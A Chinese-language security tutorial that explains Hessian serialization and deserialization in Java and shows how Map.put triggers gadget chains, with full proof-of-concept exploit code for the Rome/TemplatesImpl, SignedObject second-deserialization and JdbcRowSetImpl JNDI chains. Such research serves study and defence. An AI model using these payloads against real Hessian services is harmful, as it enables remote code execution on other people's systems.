前言

Hessian是一个基于RPC的高性能二进制远程传输协议。
在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

项目依赖:

<!-- hessian -->  
<dependency>  
    <groupId>com.caucho</groupId>  
    <artifactId>hessian</artifactId>  
    <version>4.0.63</version>  
</dependency>

反序列化流程分析

序列化

HessianOutput,Hessian2Output都是抽象类AbstractHessianOutput的实现

二者的writeObject方法一致:
根据传入的
object的类型,获取对应需要的序列化器
然后调用序列化器的
writeObject方法序列化数据。

public void writeObject(Object object) throws IOException {  
    if (object == null) {  
        this.writeNull();  
    } else {  
        Serializer serializer = this._serializerFactory.getSerializer(object.getClass());  
        serializer.writeObject(object, this);  
    }  
}

调用com.caucho.hessian.io.SerializerFactory#getSerializer方法获取对应序列化器。
先判断
_cachedSerializerMap中是否有缓存,如果有直接取出。
没有缓存就调用
com.caucho.hessian.io.SerializerFactory#loadSerializer方法进行加载序列化器;
最后将得到的序列化器存储到缓存的map中。

在com.caucho.hessian.io.SerializerFactory#loadSerializer方法中。
判断当前传入的
Object是否属于某些已定义好的接口。
如果存在,就生成对应的序列化器。
如果不存在,就调用
com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法针对自定义类加载默认的序列化器。

共实现了
26个序列化器

在com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法中,可以看到在默认情况下如果_isEnableUnsafeSerializer属性为true,并且传入的class: ·cl没有writeReplace方法,
那么最后会创造一个
UnsafeSerializer来作为序列化器。

UnsafeSerializer#writeObject方法兼容了 Hessian/Hessian2 两种协议的数据结构,会调用writeObjectBegin 方法开始写入数据头,并且根据返回的ref来确定后续序列化数据的情况。

HessianOutput,会直接调用父类的com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin方法,可以看到直接写入77作为Map的标志,固定返回-2赋值给writeObject方法

之后就调用
com.caucho.hessian.io.UnsafeSerializer#writeObject10方法,来逐个对字段进行序列化。并已writeMapEnd作为收尾。

Hessian2Output重写了writeObjectBegin方法,可以写自定义类型的数据,返回ref为-1。调用 writeDefinition20 和 Hessian2Output#writeObjectBegin 方法写入自定义数据,不将其标记为 Map 类型。

小结:
总的来说:
二者在序列化自定义类的过程中均使用
UnsafeSerializer序列化器,Hessian1和Hessian2协议在处理首字段的时候,有了细微的差异。

  • HessianOutput 在序列化的过程中默认将序列化结果处理成一个Map
  • Hessian2Output在序列化的过程中可以序列化自定义的类

反序列化

HessianInput,Hessian2Input都是抽象类AbstractHessianInput的实现类

Hessian1

com.caucho.hessian.io.HessianInput#readObject()方法中读取序列化结果的第一个字符为77,即代表map。

跟进com.caucho.hessian.io.SerializerFactory#readMap方法

先调用
com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)方法,
首先如果传入的
type为空,则直接返回null
接着再判断缓存中是否有对应的序列化器,
如果没有就尝试自己去加载获取序列化器。

这里由于是最外层封装的map,获取的type为'',默认返回回到com.caucho.hessian.io.SerializerFactory#readMap方法,直接初始化一个MapDeserializer实例类,从而调用com.caucho.hessian.io.MapDeserializer#readMap方法来反序列化内部的数据。

如果是内部其他类型的类,首先调用com.caucho.hessian.io.SerializerFactory#loadSerializedClass方法,根据类名加载对应的类。

接着调用
com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.Class)方法,来获取对应的序列化器。

接着com.caucho.hessian.io.SerializerFactory#loadDeserializer方法,

在该方法中加载默认的自定义类。可以看到与序列化过程中获取加载器的流程相近,不再赘述。
com.caucho.hessian.io.SerializerFactory#getDefaultDeserializer

Hessian2

这里以我们自定义类Person反序列化为例,首先在com.caucho.hessian.io.Hessian2Input#readObject()方法中,获取对应的tag为67,因此调用com.caucho.hessian.io.Hessian2Input#readObjectDefinition方法

会进一步调用com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class)方法来获取对应的序列化器。

一步一步步入,发现会执行到
com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)方法,这里与序列化过程中获取序列化器过程一样,最终会获取到一个UnsafeDeserializer序列化器。

回到readObjectDefinition方法, 获取自定义类的相关属性,并将其封装为def属性。

最后会调用com.caucho.hessian.io.UnsafeDeserializer#readObject方法,将封装好的字段通过unSafe进行反射赋值。

instantiate 使用 unsafe 实例的 allocateInstance 直接创建类实例。

MapDeserializer

Hessian 1.0 默认最外层会使用MapDeserializer来继续反序列化数据。
Hessian 2.0 需要指定传入的类的类型为Map, 才会使用MapDeserializer来反序列化数据

在com.caucho.hessian.io.MapDeserializer#readMap的方法中:
创建得到一个
map类型,之后通过一个循环判断 in.isEnd() 方法检查输入流是否结束。
在循环中,通过
in.readObject() 方法读取键值对,并通过map.put进行赋值。这里调用的还是HessianInput的readObject方法。
最后调用
in.readEnd结束map的反序列化赋值。

显然map.put

  • 对于HashMap会触发key.hashCode()、key.equals(k),
  • 对于TreeMap会触发key.compareTo()

漏洞分析

Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法会产生各种相关利用链打法。

典型就是Rome的相关链子,通过HashMap 中key会触发hash方法,会进一步触发key.hashcode。

触发EqualsBean的hashcode方法

接着触发toStringBean的toString方法,
会反射调用该类所有的无参
get方法。从而实现漏洞利用

TemplatesImpl 失败原因&&二次反序列化

单独打TemplatesImpl 失败原因分析

根据Rome的调用链,有如下POC

public class HessianTemplatesImpl {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = generateTemplateImpl();  
  
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);  
  
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);  
  
        HashMap map = makeMap(equalsBean,"reus09");  
        byte[] s = HessianTest.serialize(map);  
        System.out.println(s);  
  
        System.out.println((HashMap) HessianTest.deserialize(s));  
  
    }  
  
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {  
        HashMap<Object, Object> s = new HashMap<>();  
        setValue(s, "size", 2);  
        Class<?> nodeC;  
        try {  
            nodeC = Class.forName("java.util.HashMap$Node");  
        }  
        catch ( ClassNotFoundException e ) {  
            nodeC = Class.forName("java.util.HashMap$Entry");  
        }  
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
        nodeCons.setAccessible(true);  
  
        Object tbl = Array.newInstance(nodeC, 2);  
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  
        setValue(s, "table", tbl);  
        return s;  
    }  
}

代码执行后,无命令回显。
Debug分析,来到
com.sun.syndication.feed.impl.ToStringBean#toString(java.lang.String)方法,发现存在报错空指针。

跟踪报错栈帧,往上看,报错位于
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法中,发现此时的_tfactory没有被反序列化赋值,为null,从而报错空指针。

这是因为在通过UnsafeDeserializer序列化器调用getFieldMap方法的时候,会对类的属性判断是否为Transient类型,是否为static类型。
如果是
transient或者static类型的变量,则无法进行反序列化。

这里赋值的_tfactory恰好为transient类型所修饰,因此无法被反序列化。

二次反序列化打TemplatesImpl

这里SignedObject类利用内部的content变量可以存储原生序列化的字节流,从而可以保存TemplatesImpl恶意类的相关属性。

SignedObject类常被用来作为二次反序列化。
它的构造函数中将传入的
object类通过原生序列化转化为字节流存储到content变量中。
并且它的
getObject方法中又会对content属性进行原生的反序列化。

并且SignedObject的getObject方法也满足ToStringBean#toString方法,也满足Rome链的使用情况,因此可以用来打二次反序列化。

给定如下POC:

public class HessianTwoDeserial {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = generateTemplateImpl();  
  
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);  
        setValue(badAttributeValueExpException,"val",toStringBean);  
  
        // 初始化SignedObject类  
        KeyPairGenerator keyPairGenerator;  
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");  
        keyPairGenerator.initialize(1024);  
        KeyPair keyPair = keyPairGenerator.genKeyPair();  
        PrivateKey privateKey = keyPair.getPrivate();  
        Signature signingEngine = Signature.getInstance("DSA");  
  
        SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);  
  
        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);  
  
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);  
  
        HashMap hashMap = makeMap(equalsBean, "reus09");  
  
        byte[] s = HessianTest.serialize(hashMap);  
        System.out.println(s);  
  
        System.out.println((HashMap) HessianTest.deserialize(s));  
    }  
  
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {  
        HashMap<Object, Object> s = new HashMap<>();  
        setValue(s, "size", 2);  
        Class<?> nodeC;  
        try {  
            nodeC = Class.forName("java.util.HashMap$Node");  
        }  
        catch ( ClassNotFoundException e ) {  
            nodeC = Class.forName("java.util.HashMap$Entry");  
        }  
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
        nodeCons.setAccessible(true);  
  
        Object tbl = Array.newInstance(nodeC, 2);  
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  
        setValue(s, "table", tbl);  
        return s;  
    }  
}

JdbcRowSetImpl链

回顾一下JdbcRowSetImpl链,
在
getParameterMetaData方法中,会调用connect方法

在
connect方法中,会对传入的dataSourceName值进行lookup查询,触发JNDI注入

显然,由于存在getDataBaseMetaData的无参get方法,显然可以用于触发ToStringBean的toString方法,因此有如下payload:

public class HessianJNDI implements Serializable {  
  
    public static void main(String[] args) throws Exception { 
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");  
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");  
  
  
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();  
        Vector<String> v = new Vector<>(1);  
  
        String url = "rmi://127.0.0.1:1099/EXP";  
        jdbcRowSet.setDataSourceName(url);  
        jdbcRowSet.setMatchColumn("reus09");  
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);  
        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);  
  
        HashMap hashMap = makeMap(equalsBean, "reus09");  
  
        byte[] s = HessianTest.serialize(hashMap);  
        System.out.println(s);  
  
        System.out.println((HashMap) HessianTest.deserialize(s));  
  
    }  
    public static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {  
        Field field = obj.getClass().getDeclaredField(name);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static Object getValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {  
        Field field = obj.getClass().getDeclaredField(name);  
        field.setAccessible(true);  
        return field.get(obj);  
    }  
  
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {  
        HashMap<Object, Object> s = new HashMap<>();  
        setValue(s, "size", 2);  
        Class<?> nodeC;  
        try {  
            nodeC = Class.forName("java.util.HashMap$Node");  
        }  
        catch ( ClassNotFoundException e ) {  
            nodeC = Class.forName("java.util.HashMap$Entry");  
        }  
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);  
        nodeCons.setAccessible(true);  
  
        Object tbl = Array.newInstance(nodeC, 2);  
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));  
        setValue(s, "table", tbl);  
        return s;  
    }  
}

小debug:
值得注意的是我在
payload中添加了jdbcRowSet.setMatchColumn("reus09");语句。
由于我本地测试环境为
arm架构的mac,因此使用的jdk版本较高,需要手动设置trustURLCodebase的相关属性。
并且
JdbcRowSetImpl类的相关属性获取也存在问题。
我们需要的
getDatabaseMetaData是第五个获取,
但是在获取第四个字段
matchColumnNames的时候,反射执行getMatchColumnNames方法会产生空指针报错,导致反射获取我们需要的方法无法执行。

分析getMatchColumnNames方法,我们需要对strMatchColumns属性进行赋值,否则就会报错。

找到setMatchColumn方法,传入任意的字符,即可对strMatchColumns属性进行赋值。

因此,在高版本的JDK中,针对JdbcRowSetImpl与Rome链结合使用,在学习的过程中,可能需要稍微对字段继续优化、debug一下。

小结

本文分析了Hessian以及Hessian2两种序列化和反序列化的流程。
总的来说,
Hessian会针对传入的map类型的变量进行反序列化的时候,会执行map.put方法,从而可以作为source触发点,触发其他相关的反序列链子。
并以二次反序列化和
JdbcRowSetImpl两个链作为例子进行了演示。

Reference

Hessian 反序列化知一二 素十八

从源码角度分析hessian特别的原因

2022虎符CTF-Java部分

Java安全学习——Hessian反序列化漏洞 - 枫のBlog

【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识hessian 反序列化-CSDN博客